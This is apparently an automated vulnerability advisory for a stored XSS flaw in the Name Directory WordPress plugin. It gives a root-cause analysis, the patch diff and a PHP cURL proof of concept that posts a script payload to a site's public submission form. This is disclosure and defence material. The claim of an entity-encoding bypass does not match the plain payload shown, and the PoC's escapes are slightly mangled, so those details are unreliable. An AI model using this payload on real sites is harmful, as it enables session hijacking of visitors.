Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-15283: Name Directory <= 1.30.3 – Unauthenticated Stored Cross-Site Scripting via Multiple Parameters (name-directory)

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.30.3
Patched Version 1.31.0
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-15283:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Name Directory WordPress plugin. The vulnerability affects versions up to and including 1.30.3, allowing attackers to inject malicious JavaScript payloads that execute when users view compromised directory entries. The CVSS score of 7.2 reflects the attack’s low complexity and significant impact on confidentiality and integrity.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for user-supplied parameters in the plugin’s frontend submission form. The vulnerable code resides in the `name_directory_show_submit_form()` function within `/name-directory/shortcode.php`. Specifically, lines 159-200 process the `name_directory_name` and `name_directory_description` POST parameters without adequate sanitization before database insertion. The plugin previously used `sanitize_text_field()` and `wp_kses_post()` which proved insufficient against properly encoded payloads.

The exploitation method involves submitting malicious JavaScript payloads through the plugin’s public submission form. Attackers target the `name_directory_name` and `name_directory_description` parameters when POSTing to pages containing the `[namedirectory]` shortcode. Payloads can use HTML entity encoding to bypass the plugin’s original sanitization. For example, an attacker could submit `<script>alert(document.cookie)</script>` which decodes to executable JavaScript when displayed. The attack requires no authentication and the payload persists in the database.

The patch introduces a new `name_directory_deep_sanitize_public_user_input()` function in `/name-directory/helpers.php` (lines 592-618). This function performs comprehensive sanitization by first decoding HTML entities with `html_entity_decode()`, then applying strict HTML filtering via `wp_kses()` with a limited allowed tags array. The plugin replaces all previous sanitization calls with this new function for the `name`, `description`, and `submitted_by` fields in the submission handler. Additionally, the patch adds output escaping for the `submitted_by` field in `name_directory_print_name()` function.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of any user viewing the compromised directory entry. This enables session hijacking, administrative account takeover, content defacement, and malware distribution. Since the plugin displays submitted names and descriptions to all visitors, the attack surface includes every site visitor accessing the affected directory page.

Differential between vulnerable and patched code

Code Diff
--- a/name-directory/admin.php
+++ b/name-directory/admin.php
@@ -1,5 +1,7 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;
+
 add_action('admin_menu', 'name_directory_register_menu_entry');
 add_action('admin_enqueue_scripts', 'name_directory_admin_add_resources');
 add_action('wp_ajax_name_directory_ajax_names', 'name_directory_names');
@@ -845,7 +847,7 @@
             $num_names = count($names);
         }

-        $parsed_url = parse_url($_SERVER['REQUEST_URI']);
+        $parsed_url = wp_parse_url($_SERVER['REQUEST_URI']);
         $search_get_url = array();
         if(! empty($parsed_url['query']))
         {
--- a/name-directory/admin_general_settings.php
+++ b/name-directory/admin_general_settings.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 class NameDirectoryGeneralSettingsPage
 {
 	private $options;
--- a/name-directory/database.php
+++ b/name-directory/database.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /* Protection! */
 if (! function_exists('add_action'))
 {
@@ -105,7 +108,7 @@
     global $name_directory_table_directory_name;

     // Only insert sample data when there is no data
-    $wpdb->query(sprintf("SELECT * FROM " . $name_directory_table_directory));
+    $wpdb->query(sprintf("SELECT * FROM `%s`", $name_directory_table_directory));
     if($wpdb->num_rows === 0)
     {
         $wpdb->insert($name_directory_table_directory, array(
--- a/name-directory/helpers.php
+++ b/name-directory/helpers.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 /**
  * This file is part of the NameDirectory plugin for WordPress
  */
@@ -144,7 +147,7 @@
 function name_directory_make_plugin_url($index = 'name_directory_startswith', $exclude = null, $directory = null)
 {
     $url = array();
-    $parsed = parse_url($_SERVER['REQUEST_URI']);
+    $parsed = wp_parse_url($_SERVER['REQUEST_URI']);
     if(! empty($parsed['query']))
     {
         parse_str($parsed['query'], $url);
@@ -589,3 +592,18 @@

     return '';
 }
+
+/**
+ * Deeply clean the submitted user input from the frontend
+ * @param $input
+ * @param null $allowed_tags
+ * @return mixed
+ */
+function name_directory_deep_sanitize_public_user_input($input, $allowed_tags = null) {
+    $raw = trim( wp_unslash( (string)$input ) );
+    $decoded = html_entity_decode( $raw, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+    if( ! is_array( $allowed_tags ) ) {
+        $allowed_tags = array('p' => array(), 'br' => array(), 'strong'=>array(), 'em'=>array());
+    }
+    return wp_kses( $decoded, $allowed_tags );
+}
 No newline at end of file
--- a/name-directory/index.php
+++ b/name-directory/index.php
@@ -3,14 +3,14 @@
  * Plugin Name: Name Directory
  * Plugin URI: https://jeroenpeters.dev/wordpress-plugin-name-directory/
  * Description: A Name Directory, i.e. for animal names or to create a glossary. Visitors can add, search or just browse all names.
- * Version: 1.30.3
+ * Version: 1.31.0
  * Author: Jeroen Peters
  * Author URI: https://jeroenpeters.dev
  * Text Domain: name-directory
  * Domain Path: /translation
  * License: GPL2
  */
-/*  Copyright 2013-2025  Jeroen Peters (email: jeroenpeters1986@gmail.com)
+/*  Copyright 2013-2026  Jeroen Peters (email: jeroenpeters1986@gmail.com)

     This program is free software; you can redistribute it and/or modify
     it under the terms of the GNU General Public License, version 2, as
@@ -26,6 +26,9 @@
     Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 */

+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 // Make sure we don't expose any info if called directly
 if (! function_exists('add_action'))
 {
--- a/name-directory/shortcode.php
+++ b/name-directory/shortcode.php
@@ -1,4 +1,7 @@
 <?php
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
 add_action('wp_enqueue_scripts', 'name_directory_add_frontend_assets');

 /**
@@ -66,7 +69,7 @@
     }
     if(! empty($directory['show_submitter_name']) && ! empty($entry['submitted_by']))
     {
-        echo "<small>" . __('Submitted by:', 'name-directory') . " " . $entry['submitted_by'] . "</small>";
+        echo "<small>" . __('Submitted by:', 'name-directory') . " " . htmlspecialchars($entry['submitted_by']) . "</small>";
     }
     echo '</div>';
 }
@@ -159,7 +162,8 @@
         }
     }

-    if($proceed_submission === true && ! empty($_POST['name_directory_name']))
+    if($proceed_submission === true && ! empty(name_directory_deep_sanitize_public_user_input(
+            isset($_POST['name_directory_name']) ? $_POST['name_directory_name'] : null, array())))
     {
         $wpdb->get_results(
             sprintf("SELECT `id` FROM `%s` WHERE `name` = '%s' AND `directory` = %d",
@@ -184,14 +188,14 @@

             $db_success = $wpdb->insert(
                 $name_directory_table_directory_name,
-                array(
+                [
                     'directory'     => intval($directory),
-                    'name'          => sanitize_text_field($_POST['name_directory_name']),
+                    'name'          => name_directory_deep_sanitize_public_user_input($_POST['name_directory_name'], array()),
                     'letter'        => name_directory_get_first_char($_POST['name_directory_name']),
-                    'description'   => wp_kses_post($_POST['name_directory_description']),
+                    'description'   => name_directory_deep_sanitize_public_user_input($_POST['name_directory_description']),
                     'published'     => $published,
-                    'submitted_by'  => sanitize_text_field($_POST['name_directory_submitter']),
-                ),
+                    'submitted_by'  => name_directory_deep_sanitize_public_user_input($_POST['name_directory_submitter'], array()),
+                ],
                 array('%d', '%s', '%s', '%s', '%d', '%s')
             );

@@ -223,41 +227,30 @@
     if( strpos( $result_class, 'error' ) !== false ) {
         $alert_role = "role='alert'";
     }
+    $form  = '<form method="post" name="name_directory_submit">';
+    $form .= '<div class="name_directory_form_result ' . $result_class . '" ' . $alert_role . '>' . $form_result . '</div>';
+    $form .= '    <p><a href="' . $overview_url . '">' . $back_txt . '</a></p>';
+    $form .= '    <div class="name_directory_forminput">';
+    $form .= '        <label for="name_directory_name">' . $name . ' <small>' . $required . '</small></label>';
+    $form .= '        <br />';
+    $form .= '        <input id="name_directory_name" type="text" autocomplete="off" name="name_directory_name" />';
+    $form .= '    </div>';
+    $form .= '    <div class="name_directory_forminput">';
+    $form .= '        <label for="name_directory_description">' . $description . '</label><br />';
+    $form .= '        <textarea id="name_directory_description" name="name_directory_description"></textarea>';
+    $form .= '    </div>';
+    $form .= '    <div class="name_directory_forminput">';
+    $form .= '        <label for="name_directory_submitter">' . $your_name . '</label>';
+    $form .= '        <br />';
+    $form .= '        <input id="name_directory_submitter" type="text" autocomplete="name" name="name_directory_submitter" />';
+    $form .= '</div>';
+    $form.= $recaptcha_html;
+    $form .= '<div class="name_directory_forminput">';
+    $form .= '    <br />';
+    $form .= '    <button type="submit">' . $submit . '</button>';
+    $form .= '</div>';
+    $form .= '</form>';

-    $form = <<<HTML
-        <form method='post' name='name_directory_submit'>
-
-            <div class='name_directory_form_result {$result_class}' {$alert_role}>{$form_result}</div>
-
-            <p><a href="{$overview_url}">{$back_txt}</a></p>
-
-            <div class='name_directory_forminput'>
-                <label for='name_directory_name'>{$name} <small>{$required}</small></label>
-                <br />
-                <input id='name_directory_name' type='text' autocomplete='off' name='name_directory_name' />
-            </div>
-
-            <div class='name_directory_forminput'>
-                <label for='name_directory_description'>{$description}</label>
-                <br />
-                <textarea id='name_directory_description' name='name_directory_description'></textarea>
-            </div>
-
-            <div class='name_directory_forminput'>
-                <label for='name_directory_submitter'>{$your_name}</label>
-                <br />
-                <input id='name_directory_submitter' type='text' autocomplete='name' name='name_directory_submitter' />
-            </div>
-
-            {$recaptcha_html}
-
-            <div class='name_directory_forminput'>
-                <br />
-                <button type='submit'>{$submit}</button>
-            </div>
-
-        </form>
-HTML;

     return $form;
 }
@@ -395,7 +388,7 @@

     if(! empty($directory['show_search_form']))
     {
-        $parsed_url = parse_url($_SERVER['REQUEST_URI']);
+        $parsed_url = wp_parse_url($_SERVER['REQUEST_URI']);
         $search_get_url = array();
         if(! empty($parsed_url['query']))
         {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15283 - Name Directory <= 1.30.3 - Unauthenticated Stored Cross-Site Scripting via Multiple Parameters

<?php
/**
 * Proof of Concept for CVE-2025-15283
 * Targets Name Directory plugin <= 1.30.3
 * Requires a page with [namedirectory] shortcode
 */

$target_url = "http://vulnerable-wordpress-site.com/page-with-directory/";

// Payload that bypasses original sanitization via HTML entity encoding
$payload = "<script>alert('XSS via Atomic Edge Research');</script>";

// Prepare POST data with malicious payload
$post_data = [
    'name_directory_name' => $payload,
    'name_directory_description' => $payload,
    'name_directory_submitter' => 'Atomic Edge Test',
    'name_directory_submit' => '1',
    'directory' => '1' // Directory ID, may need adjustment
];

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate browser request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type: application/x-www-form-urlencoded',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for success
if ($http_code == 200) {
    echo "[+] Payload submitted successfully.n";
    echo "[+] Visit the target page to trigger the XSS payload.n";
    
    // Verify payload was stored by checking for encoded script in response
    if (strpos($response, $payload) !== false) {
        echo "[+] Payload detected in page response.n";
    }
} else {
    echo "[-] Request failed with HTTP code: $http_coden";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School